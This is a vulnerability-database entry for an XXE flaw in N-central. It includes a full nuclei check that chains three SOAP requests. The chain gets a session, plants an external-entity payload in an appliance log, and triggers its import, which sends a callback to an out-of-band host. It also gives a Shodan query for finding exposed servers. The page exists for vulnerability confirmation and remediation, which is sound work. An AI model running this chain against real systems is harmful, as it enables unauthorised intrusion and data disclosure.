HexBrain

Browse / CVEs / CVE-2025-11700

CVE-2025-11700

N-central - XML External Entities Injection

highseverity
31.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

N-central versions < 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.

Impact

Attackers can disclose sensitive information by exploiting XML External Entities injection.

Fix

Update to version 2025.4 or later.

How to confirm it

Send: POST /dms/services/ServerUI
Positive when: contains "SessionID" and "sessionHelloResponse" AND status 200
Send: POST /dms/services/ServerMMS
Positive when: contains "Ok" and "Msg"
Send: POST /dms/services/ServerUI
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-11700 -u <target>

The full check
id: CVE-2025-11700

info:
  name: N-central - XML External Entities Injection
  author: DhiyaneshDK,horizon3ai
  severity: high
  description: |
    N-central versions < 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.
  impact: |
    Attackers can disclose sensitive information by exploiting XML External Entities injection.
  remediation: |
    Update to version 2025.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11700
    - https://github.com/horizon3ai/n-able_n-central_xxe_file_read/blob/main/ncentral_xxe_file_read.py
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"N-central Login"
  tags: cve,cve2025,n-central,xxe,oast,oob,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(10))}}"
  xxe_payload: |-
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE servicetemplate [
    <!ENTITY % xxe SYSTEM "http://{{interactsh-url}}">
    %xxe;
    ]>
    <servicetemplate syntaxversion="2.1.0.0">
      <name>{{rand}}</name>
    </servicetemplate>

http:
  - raw:
      - |
        POST /dms/services/ServerUI HTTP/2
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Body>
            <sessionHello>
              <applianceID>3</applianceID>
            </sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - SessionID
          - sessionHelloResponse
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: sessionid
        group: 1
        regex:
          - '<SessionID[^>]*>(\d+)</SessionID>'
          - '<sessionId>(\d+)</sessionId>'
          - '<sessionID>(\d+)</sessionID>'
        internal: true

  - raw:
      - |
        POST /dms/services/ServerMMS HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:applianceLogSubmit xmlns:ns1="http://www.n-able.com/mickey">
              <sessionID>{{sessionid}}</sessionID>
              <logType>NETWORK_CHECK_LOG</logType>
              <contents>{{base64(xxe_payload)}}</contents>
            </ns1:applianceLogSubmit>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Ok
          - Msg
        condition: and
        internal: true

  - raw:
      - |
        POST /dms/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:importServiceTemplateFromFile xmlns:ns1="http://www.n-able.com/mickey">
              <ns1:sessionId>{{sessionid}}</ns1:sessionId>
              <ns1:customerId>1</ns1:customerId>
              <ns1:filePath>/opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log</ns1:filePath>
            </ns1:importServiceTemplateFromFile>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

References

Use this check only on systems you are authorised to test. Where the data comes from